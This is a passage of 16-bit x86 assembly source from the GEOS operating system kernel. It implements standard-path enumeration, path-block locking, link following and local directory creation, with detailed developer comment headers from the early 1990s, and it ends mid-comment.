DPI_EXISTS_LOCALLY mov ds:[FP_pathInfo], dx call FileUnlockPath ; ; Now, get a REAL physical path ; call SetDirOnPath jmp done error: ; ; No more directories. See if we're in a nested enumeration, ; and if so, go up a level ; call FP_PrevPathLockDS test ({StdPathPrivateData} ds:[FP_private]).SPPD_flags, \ mask SPF_NESTED call FileUnlockPath stc jz done ; ; We were in a nested enumeration. Pop the top 2 paths, and ; continue at the previous level. ; call FilePopDir call FilePopDir call SetDirOnPath jmp done unableToSetPath: ; ; We were unable to CD to the path returned to us by the link. ; Remove any path blocks we created up to this point, and ; propagate the error upwards. ; call FilePopDir jmp done SetDirOnPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FP_CurPathLockDS, FP_PrevPathLockDS, FP_PathLockDS, FP_MemLockDS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Various locking routines, here to save bytes. The routines with "Path" in their names *must* be used for the locking of paths only CALLED BY: Internal PASS: BX = Handle (path or memory) - or - for FP_CurPathLockDS, ss:[TPD_curPath] is used RETURN: DS = Points to path of memory segment BX = Handle of whatever was locked DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 5/6/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FP_PrevPathLockDS proc near uses ax .enter call FP_CurPathLockDS mov ax, ds:[FP_prev] call FileUnlockPath mov_tr bx, ax call FP_PathLockDS .leave ret FP_PrevPathLockDS endp FP_CurPathLockDS proc near mov bx, ss:[TPD_curPath] FALL_THRU FP_PathLockDS FP_CurPathLockDS endp FP_PathLockDS proc near push ax call FileLockPath mov ds, ax pop ax ret FP_PathLockDS endp FP_MemLockDS proc near push ax call MemLock mov ds, ax pop ax ret FP_MemLockDS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileLockPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock down a path without causing ec-only deadlocks. CALLED BY: INTERNAL PASS: bx = handle to lock down RETURN: ax = segment of block DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 4/25/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLD_ERROR_CHECK = ERROR_CHECK ERROR_CHECK = FALSE FileLockPath proc near uses ds .enter LoadVarSeg ds, ax FastLock1 ds, bx, ax, FLP1, FLP2 .leave ret FastLock2 ds, bx, ax, FLP1, FLP2 FileLockPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileUnlockPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unlock a path without causing ec-only deadlocks. CALLED BY: INTERNAL PASS: bx = handle to unlock RETURN: nothing DESTROYED: nothing (flags preserved) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 4/25/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileUnlockPath proc near uses ds, ax .enter pushf LoadVarSeg ds, ax FastUnLock ds, bx, ax popf .leave ret FileUnlockPath endp ERROR_CHECK = OLD_ERROR_CHECK COMMENT @---------------------------------------------------------------------- FUNCTION: Int_SetDirOnPath DESCRIPTION: Set the thread's current path to be the next directory on the path for the logical path CALLED BY: SetDirOnPath PASS: cx - StandardPath ds:dx - path tail to set ax - DirPathInfo RETURN: carry - set if error (no more paths) carry clear if successful: bx - disk handle (or standard path, if a link pointing to a standard path was encountered) ax - updated thread's path - set DESTROYED: none REGISTER/STACK USAGE: ds - paths block cx - DirPathInfo ax, bx, si, di - scratch PSEUDO CODE/STRATEGY: Allocate a path buffer on the global heap, rather than the stack, to avoid stack overflow. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ Int_SetDirOnPath proc near uses cx, di, si, ds pathTail local fptr.char push ds, dx logicalStdPath local StandardPath push cx bufferHandle local hptr.PathName stdPathHandle local hptr ForceRef pathTail ForceRef logicalStdPath ForceRef bufferHandle .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif mov_tr cx, ax ; DirPathInfo ; lock the kernel's std paths block call FP_LoadVarSegDS mov bx, ds:[loaderVars].KLV_stdDirPaths call MemLockShared mov ss:[stdPathHandle], bx mov ds, ax ;ds = paths ; look for this path lookForEntry: call FindNextPathEntry jc notFound ; found an entry, construct the full path and try to set it call BuildPathEntry ;build entry in ss:bp jc lookForEntry ; path doesn't exist, so keep ; traversing list ; we've set the path, save our variables and leave (bx = disk handle) mov_tr ax, cx jmp done ; we've run out of entries on this path, try moving up notFound: mov bx, cx and bx, mask DPI_STD_PATH clr ch ; do not set DPI_EXISTS_LOCALLY, ; as the local version was dealt ; with at the bottom level... call FileGetStdPathParent mov cx, bx ; cx - parent tst cl jnz lookForEntry stc done: push bx mov bx, ss:[stdPathHandle] call MemUnlockShared ;unlock paths pop bx .leave ret Int_SetDirOnPath endp COMMENT @---------------------------------------------------------------------- FUNCTION: FindNextPathEntry DESCRIPTION: Find the next path entry in the paths block CALLED BY: Int_SetDirOnPath PASS: ds - std path block cx - DirPathInfo. DPI_EXISTS_LOCALLY set (hack) if the first directory on the path for the std path in DPI_STD_PATH is wanted. This could have been done by setting DPI_ENTRY_NUMBER_IN_PATH to -1, but... RETURN: cx, - updated carry - set if error (does not exist) if called with DPI_EXISTS_LOCALLY set and DPI_ENTRY_NUMBER_IN_PATH = 0 si preserved else ds:si - std path string DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ FindNextPathEntry proc near uses ax .enter test cx, mask DPI_EXISTS_LOCALLY ; first time? jnz 10$ inc ch ; advance to next entry 10$: and ch, not mask DPI_EXISTS_LOCALLY shr 8 CheckHack <(offset DPI_ENTRY_NUMBER_IN_PATH eq 8) and \ (width DPI_ENTRY_NUMBER_IN_PATH eq 7) and \ (offset DPI_EXISTS_LOCALLY eq 15)> jz exit ; => need to try local dir under top level, so ; ds:si doesn't matter worth beans. (carry cleared ; by AND) push cx ; get pointer to path. path block holds array of offsets to ; individual path lists. We know if a logical path has no path ; list if its offset is the same as that of the next logical path ; in the array... mov si, cx andnf si, mask DPI_STD_PATH dec si ; convert to word index (constants are odd ; and start with 1...) CheckHack <offset SDP_pathOffsets eq 0> lodsw ;ds:ax = path cmp ax, ds:[si] ; any path there? jz flipCarry ; same as next logical => no path list ; (carry clear) ; skip any other paths mov_tr si, ax mov cl, ch clr ch ;cx = entry # (clears carry) dec cx jz done ; => looking for first entry skipLoop: LocalGetChar ax, dssi LocalIsNull ax jnz skipLoop ;al = 0 SBCS < cmp al, ds:[si] ; double-null => that was the last > DBCS < cmp ax, ds:[si] ; double-null => that was the last > ; path in the list? loopne skipLoop flipCarry: cmc ; set carry if out of list entries. if there were ; no entries in the path list, carry is clear when ; we get here (via a jz), so we'll set the carry to ; say we didn't find a path. If we fell through the ; loopne b/c ds:[si] wasn't 0 (i.e. cx decremented ; to 0), carry will be set when we get here (0 is ; below everything) so we'll clear the carry to signal ; we found a path. If we fell through the loopne ; b/c ds:[si] is 0, carry will be clear (b/c of ; == comparison), so we'll set the carry to signal ; no path found. done: pop cx exit: .leave ret FindNextPathEntry endp COMMENT @---------------------------------------------------------------------- FUNCTION: BuildPathEntry DESCRIPTION: Construct the full path and set it CALLED BY: Int_SetDirOnPath PASS: ss:bp - inherited variables cx - DirPathInfo if DPI_ENTRY_NUMBER_IN_PATH !=0 ds:si - path (from paths block) RETURN: carry - set if error (cannot set path) bx - disk handle DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ BuildPathEntry proc near uses ax, cx, dx, si, di, ds pathTail local fptr.char logicalStdPath local StandardPath bufferHandle local hptr.PathName stdPathHandle local hptr .enter inherit near ; ; If entry number is 0, then we need to build the local version of ; the thing: use top-level path and pretend DirPathInfo is actually ; for SP_TOP (doesn't affect our caller) so we add the proper ; intervening components. ; push cx ; save for optimization bit test cx, mask DPI_ENTRY_NUMBER_IN_PATH jnz useString LoadVarSeg ds, si mov si, cx andnf si, mask DPI_STD_PATH ; si <- StandardPath CheckHack <type pathAttrs eq 1> shr si ; convert to byte index test ds:[pathAttrs][si], mask SPA_DOES_NOT_EXIST_LOCALLY LONG jnz fail mov si, offset loaderVars.KLV_topLevelPath mov cx, DirPathInfo <1,0,SP_TOP> useString: if FULL_EXECUTE_IN_PLACE EC< push bx > EC< mov bx, ds > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx > endif clr dh mov dl, cl ;dx = std path CheckHack <width DPI_STD_PATH eq 8 and \ offset DPI_STD_PATH eq 0> ; Example: Logical path: "c:/geoworks/document/tech_doc" ; entry in .ini file: top = "g:/netgeos" ; ds:si = "g:/netgeos" ; dx = SP_TOP ; logicalStdPath = SP_DOCUMENT ; pathTail = "tech_doc" ; ; Result: "g:/netgeos/document/tech_doc" call FileAllocPathNameBuffer jc done mov ss:[bufferHandle], bx mov cx, size PathName call CopyNTStringCXMaxPointAtNull ;copy path entry ; copy difference between std path that entry is for and std of ; logical path push bp mov bp, ss:[logicalStdPath] cmp dx, bp je afterCopyDiff mov bx, handle StandardPathStrings call FP_MemLockDS mov_tr ax, dx ;ax = place to stop ; if already ends in backslash, back up, as CSPC will put one in, too SBCS < cmp {char}es:[di-1], C_BACKSLASH > DBCS < cmp {wchar}es:[di-2], C_BACKSLASH > jne copyDiff inc cx LocalPrevChar esdi copyDiff: call CopyStandardPathComponents call MemUnlock afterCopyDiff: pop bp ;copy tail of path lds si, ss:[pathTail] SBCS < cmp {char} ds:[si], 0 > DBCS < cmp {wchar} ds:[si], 0 > jz noTail LocalLoadChar ax, C_BACKSLASH SBCS < cmp es:[di-1], al > DBCS < cmp es:[di-2], ax > je copyTail LocalPutChar esdi, ax copyTail: call CopyNTStringCXMaxPointAtNull noTail: ; try to set path. first get the disk handle for the disk on which ; the path resides, then ask the FSD responsible for that disk to ; set the thread's current path. mov bx, 1 ;don't look for standard path segmov ds, es ; ds:dx - pathname clr dx call FileGetDestinationDisk pop cx jc setOptimizationBit ; ; Call the FSD to set the current path, and then free the ; pathname buffer. ; call SetCurPath jc setOptimizationBit freeBuffer: pushf push bx mov bx, ss:[bufferHandle] call MemFree pop bx popf done: .leave ret setOptimizationBit: ; ; Couldn't set the path that was built; if the built path was ; the local version, then set the SPA_DOES_NOT_EXIST_LOCALLY ; optimization flag for this directory and all its children. ; so we don't try this again. ; test cx, mask DPI_ENTRY_NUMBER_IN_PATH stc jnz freeBuffer ; => not local, so no opt bit. lds si, ss:[pathTail] ; empty path tail? SBCS < cmp {char}ds:[si], 0 > DBCS < cmp {wchar}ds:[si], 0 > jne errorFreeBuffer ; no => don't set opt bit, as we don't ; know for sure that std path itself ; doesn't exist locally push bx call FP_LoadVarSegDS CheckHack <width DPI_STD_PATH eq 8 and offset DPI_STD_PATH eq 0> mov bx, cx ; bl <- root of tree of standard ; paths that don't exist call setOptimizationBitForTree pop bx errorFreeBuffer: stc jmp freeBuffer fail: ; ; Attempting to set local dir and local is marked as not existing, ; so just fail now. ; pop cx stc jmp done ;-------------------- ; Pass: bl = StandardPath ; ds = kdata ; Return: nothing ; Destroyed: si, bx setOptimizationBitForTree: ; ; First set the bit for this path. ; clr bh mov si, bx CheckHack <type pathAttrs eq 1> shr si ; convert to byte index ornf ds:[pathAttrs][si], mask SPA_DOES_NOT_EXIST_LOCALLY ; ; Now recurse on all the children. ; call FileGetStdPathFirstChild; bl <- first child, or 0 sOBLoop: tst bl ; done? jz sOBDone push bx call setOptimizationBitForTree pop bx call FileGetStdPathNextSibling; bl <- next child or 0 jmp sOBLoop sOBDone: retn BuildPathEntry endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAllocPathNameBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocate a buffer large enough to hold a PathName structure. Return a pointer to it in es:di CALLED BY: BuildPathEntry, SetCurPathUsingStdPathWhenStdPathsNotEnabled PASS: nothing RETURN: if allocated: carry clear bx - handle es:di - address (es = segment addr, di = 0) else carry set ax - FileError (ERROR_INSUFFICIENT_MEMORY) DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 9/ 1/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileAllocPathNameBuffer proc near uses cx .enter mov ax, size PathName mov cx, ALLOC_DYNAMIC_LOCK call MemAllocFar jc error mov es, ax clr di done: .leave ret error: mov ax, ERROR_INSUFFICIENT_MEMORY jmp done FileAllocPathNameBuffer endp COMMENT @---------------------------------------------------------------------- FUNCTION: FinishWithPathEnum DESCRIPTION: Called after completion of path enumeration CALLED BY: FileOpen, FileEnum PASS: none RETURN: none DESTROYED: none (flags preserved) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: If we got ourselves into a nested enumeration because of links, then we need to make sure to get rid of all the extra paths. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ FinishWithPathEnum proc far uses ds, bx, ax .enter pushf startLoop: call FilePopDir ; ; If the nested flag is set, remove the top path, and ; then "recurse" ; call FP_CurPathLockDS mov al, ({StdPathPrivateData} ds:[FP_private]).SPPD_flags call MemUnlock test al, mask SPF_NESTED jz notNested call FilePopDir jmp startLoop notNested: ; ; If the NUKE ME flag is set, then do so. ; test al, mask SPF_NUKE_ME jz done call FilePopDir done: popf .leave ret FinishWithPathEnum endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeletePath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete a path block, letting the managing FSD know of its demise. CALLED BY: FileDeletePathStack and others PASS: bx = handle to nuke RETURN: nothing DESTROYED: bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/21/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDeletePath proc far .enter ; ; Let the FSD on which the path resides know the path is going away. ; call FSDInformOldFSDOfPathNukage ; ; Free up the path block. ; call MemFree .leave ret FileDeletePath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeletePathStack %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete all the saved paths for the current thread, along with the thread's current path. CALLED BY: ThreadDestroy PASS: ss = thread stack RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/19/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDeletePathStack proc far call PushAllFar mov bx, ss:[TPD_curPath] nukeLoop: tst bx jz done call FP_PathLockDS mov si, ds:[FP_prev] call MemUnlock call FileDeletePath mov bx, si jmp nukeLoop done: mov ss:[TPD_curPath], 0 call PopAllFar ret FileDeletePathStack endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetCurPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common routine to set the current path. If a link is encountered, then traverse it. CALLED BY: BuildPathEntry, FileSetCurrentPath, SetCurPathUsingStdPathWhenStdPathsNotEnabled, SetDirOnPath, SetCurPath PASS: bx - disk handle, or standard path ds:dx - path to set RETURN: if path was set: carry clear ax = destroyed bx = disk handle, or Std Path else carry set ax = error code DESTROYED: si,di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This procedure assumes that the byte just below TPD_stackBot is being used as a link recursion counter. As such, it can only be called (directly or indirectly) by routines that set this up (FileSetCurrentPath and SetDirOnPath). REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 8/ 3/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetCurPath proc near uses bp, es .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif ; ; Increment the link (recursion) counter so we'll know if ; we're getting into trouble ; mov bp, ss:[TPD_stackBot] inc {byte} ss:[bp].CP_linkCount cmp {byte} ss:[bp].CP_linkCount, MAX_LINK_COUNT jne linkCountOK mov ax, ERROR_TOO_MANY_LINKS stc jmp done linkCountOK: mov bp, bx ; passed disk handle / std ; path ; ; See if (bx) is a standard path or a disk handle ; test bx, DISK_IS_STD_PATH_MASK jz diskHandle ; ; It's a std path, so call one of the std path routines. ; push ds call FP_LoadVarSegDS tst ds:[loaderVars].KLV_stdDirPaths pop ds jz pathsNotEnabled call SetCurPathUsingStdPath jmp afterCall pathsNotEnabled: call SetCurPathUsingStdPathWhenStdPathsNotEnabled jmp afterCall ; ; Load disk handle into si for DiskLockCallFSD and go make the ; change, ensuring the disk is in its drive before contacting the ; FSD. ; diskHandle: ; ; Lock the FSIR for DiskLockCallFSD to use. ; call FileLockInfoSharedToES push bp mov si, bx ; disk handle mov di, DR_FS_CUR_PATH_SET clr al ; allow lock aborts call DiskLockCallFSD pop bp call FSDUnlockInfoShared jnc storeActual cmp ax, ERROR_LINK_ENCOUNTERED stc LONG jne done ; ; A link was encountered, so follow it, and try again. ; bx = mem handle of link data ; link:: push ds, dx, cx push bx ; ; Fetch the link data and then set the new returned path, ; unless we can't ; call FileGetLinkData jc afterSet call SetCurPath mov cx, bx ; returned disk handle afterSet: pop bx pushf call MemFree popf mov bx, cx ; returned disk handle pop ds, dx, cx afterCall: ; ; bx - disk handle returned from called routine ; jc done storeActual: ; ; We know that we've finally set a REAL directory. Store the ; ACTUAL disk in the otherInfo field, to be used when calling ; the FS driver. The logical disk is whatever the caller ; wants it to be... ; ; bx = actual disk handle push ds call FP_LoadVarSegDS mov_tr ax, bx ; actual disk handle mov bx, ss:[TPD_curPath] mov ds:[bx].HM_otherInfo, ax mov_tr bx, ax ; returned disk handle pop ds ; ds:dx - path tail segmov es, ds, di ; ; Figure out the length of the path tail ; push bx, cx mov di, dx ;es:di <- ptr to string if DBCS_PCGEOS call LocalStringSize ;cx <- size of user-specified path LocalNextChar escx ;cx <- size with NULL else clr al mov cx, -1 repne scasb not cx ; size of user-specified path endif ; ; Reallocate the path block to fit. ; mov bx, ss:[TPD_curPath] call FileLockPath mov es, ax push cx ; size of path add cx, es:[FP_path] mov_tr ax, cx clr ch call MemReAlloc pop cx jnc copyIt mov ax, ERROR_INSUFFICIENT_MEMORY jmp unlock ; ; copy the path data in ; copyIt: mov es, ax mov si, dx mov di, es:[FP_path] DBCS < shr cx, 1 ;cx <- # of chars > LocalCopyNString ;rep movsb/movsw ; ; Set the logical disk handle as well ; mov es:[FP_logicalDisk], bp ; ; Decrement the link (recursion) counter ; mov bp, ss:[TPD_stackBot] dec {byte} ss:[bp].CP_linkCount EC < ERROR_S GASP_CHOKE_WHEEZE > unlock: call MemUnlock pop bx, cx done: .leave ret SetCurPath endp COMMENT @---------------------------------------------------------------------- FUNCTION: FilePushTopLevelPath DESCRIPTION: Replaces KLV_topLevelPath with the passed CALLED BY: RESTRICTED GLOBAL PASS: ds:si - Null-terminated string to copy into KLV_topLevelPath RETURN: carry set if error (ax = error code) DESTROYED: ax, ds REVISION HISTORY: Name Date Description ---- ---- ----------- jon 14 april 1993 initial revision ------------------------------------------------------------------------------@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment FilePushTopLevelPath proc far mov ss:[TPD_dataBX], handle FilePushTopLevelPathReal mov ss:[TPD_dataAX], offset FilePushTopLevelPathReal GOTO SysCallMovableXIPWithDSSI FilePushTopLevelPath endp CopyStackCodeXIP ends else FilePushTopLevelPath proc far FALL_THRU FilePushTopLevelPathReal FilePushTopLevelPath endp endif FilePushTopLevelPathReal proc far uses cx, di, si, es .enter if FULL_EXECUTE_IN_PLACE EC< push bx > EC< mov bx, ds > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx > endif ; ; set both topLevelDiskHandle and loaderVars.KLV_topLevelPath ; call FilePushPopTopLevelPathCommon ;sets es = kdata jc done ;skip if error (ax = error)... ; ; Clear the SPA_DOES_NOT_EXIST_LOCALLY bit in each of the paths by ; shifting them into the backup positions ; mov si, StandardPath/2 - 1 segmov ds, es clearLoop: shl ds:[pathAttrs][si] dec si jns clearLoop clc ;no error done: .leave ret FilePushTopLevelPathReal endp FilePushPopTopLevelPathCommon proc near uses bx .enter ; ; Determine the handle of the top-level path from the passed string ; push dx mov dx, si ;ds:dx = path mov bx, TRUE ;don't check to see if is ;subdir of a std path. call FileGetDestinationDisk ;bx = disk handle ;sets carry and AX if error pop dx jc done ;skip to end if error... LoadVarSeg es mov es:[topLevelDiskHandle], bx ; ; Write the passed string into KLV_topLevelPath ; mov di, offset loaderVars.KLV_topLevelPath mov cx, size loaderVars.KLV_topLevelPath call CopyNTStringCXMaxPointAtNull clc ;no error done: ; ;return with carry set if error ;return es = kdata ; .leave ret FilePushPopTopLevelPathCommon endp COMMENT @---------------------------------------------------------------------- FUNCTION: FilePopTopLevelPath DESCRIPTION: Replaces KLV_topLevelPath with the passed CALLED BY: INTERNAL PASS: ds:si - Null-terminated string to copy into KLV_topLevelPath RETURN: carry set if error (ax = error code) DESTROYED: ax, ds REVISION HISTORY: Name Date Description ---- ---- ----------- jon 14 april 1993 initial revision ------------------------------------------------------------------------------@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment FilePopTopLevelPath proc far mov ss:[TPD_dataBX], handle FilePopTopLevelPathReal mov ss:[TPD_dataAX], offset FilePopTopLevelPathReal GOTO SysCallMovableXIPWithDSSI FilePopTopLevelPath endp CopyStackCodeXIP ends else FilePopTopLevelPath proc far FALL_THRU FilePopTopLevelPathReal FilePopTopLevelPath endp endif FilePopTopLevelPathReal proc far uses cx, di, si, es .enter ; ; set both topLevelDiskHandle and loaderVars.KLV_topLevelPath ; call FilePushPopTopLevelPathCommon ;sets es = kdata jc done ;skip if error (ax = error)... ; ; Restore the SPA_DOES_NOT_EXIST_LOCALLY bit by shifting right ; mov si, StandardPath/2 - 1 segmov ds, es clearLoop: shr ds:[pathAttrs][si] dec si jns clearLoop clc ;no error done: ; ;return with carry set if error ; .leave ret FilePopTopLevelPathReal endp FileCommon ends ;------------------------------------------------------ FileSemiCommon segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileEnsureLocalPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Take the passed destination name as a file or directory that will be created and, if it's within a standard path (*not* a subdirectory of a standard path), make sure that the appropriate directories exist in the local tree under SP_TOP. CALLED BY: FileCreate, FileCreateDir, FileCopy, FileMove, FileCreateLink PASS: ds:dx = destination path, relative to current dir RETURN: carry set if paths couldn't be created (!) ax = error code carry clear if all is good ax = destroyed DESTROYED: nothing (except ax, of course) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 2/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment FileEnsureLocalPath proc far mov ss:[TPD_dataBX], handle FileEnsureLocalPathReal mov ss:[TPD_dataAX], offset FileEnsureLocalPathReal GOTO SysCallMovableXIPWithDSDX FileEnsureLocalPath endp CopyStackCodeXIP ends else FileEnsureLocalPath proc far FALL_THRU FileEnsureLocalPathReal FileEnsureLocalPath endp endif FileEnsureLocalPathReal proc far createBuf local PathName uses bx, cx, es, di, si, dx, ds .enter ; ; Build the full path for the destination, skipping the drive ; specifier, as we'll get back a disk handle, thanks. ; mov si, dx ; ds:si <- tail segmov es, ss lea di, ss:[createBuf] ; es:di <- buffer mov cx, size createBuf ; cx <- buffer size clr bx ; prepend current dir clr dx ; no drive spec, thanks call FileConstructFullPath ; es:di <- null ; ; Trim off the final component. ; lea cx, ss:[createBuf] sub cx, di neg cx ; cx <- path len w/o null std LocalPrevChar esdi ; don't check null SBCS < mov al, C_BACKSLASH > DBCS < mov ax, C_BACKSLASH > SBCS < repne scasb > DBCS < repne scasw > cld jcxz doneOK ; => dest is in root, which means we've ; nothing to create, even if \ is ; SP_TOP SBCS < mov {char}es:[di+1], 0 > DBCS < mov {wchar}es:[di+2], 0 > ; ; Armed with that, try and parse the whole thing down to a standard ; path. ; lea di, ss:[createBuf] call FileParseStandardPath cmp ax, SP_TOP CheckHack <SP_TOP eq 1> jbe doneOK ; not S.P., or SP_TOP (which must ; exist), so nothing to do SBCS < tst {char}es:[di] ; any tail? > DBCS < tst {wchar}es:[di] ; any tail? > jnz doneOK ; => should be in some directory of ; the S.P., so nothing to do lea dx, ss:[createBuf] call FileCreateLocalStdPath jc doneOK ; ; Now adjust the FP_pathInfo for the current path so we try the local ; path again... ; mov bx, ss:[TPD_curPath] call MemLock mov ds, ax CheckHack <width DPI_STD_PATH eq 8 and \ offset DPI_STD_PATH eq 0> mov al, ds:[FP_stdPath].low mov ah, DirPathInfo <1,0,0> shr 8 mov ds:[FP_pathInfo], ax call MemUnlock clc doneOK: ; ; Little whatsits to clear the carry and finish; stuck here to make ; sure it's not out of reach of the branches to it... ; clc .leave ret FileEnsureLocalPathReal endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCreateLocalStdPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create the local version of a standard path. CALLED BY: FileEnsureLocalPath, StdPathDoesntExist PASS: ax = StandardPath that's the last thing to create es:di = null char after final component. Chars leading up to this must be the full path to AX es:dx = start of full path bx = topLevelDiskHandle RETURN: carry set if directories couldn't be created. ds = destroyed ax = error code carry clear if everything's ok: ds = es on entry DESTROYED: di, dx, si, cx, es null-terminator in passed path is replaced by a backslash... PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 4/ 3/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCreateLocalStdPath proc far topLevelDisk local word push bx notifyPath local StandardPath uses bp, bx, ax .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< mov si, dx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif ; ; We need to clear the SPA_DOES_NOT_EXIST_LOCALLY bit in pathAttrs ; for each component we create, so we first work our way back ; through the path, using stdPathUpwardTree to find the S.P. at ; each level, pushing the S.P. and the component end address ; on the stack. When we get to SP_TOP, we pop things and do ; the creation and 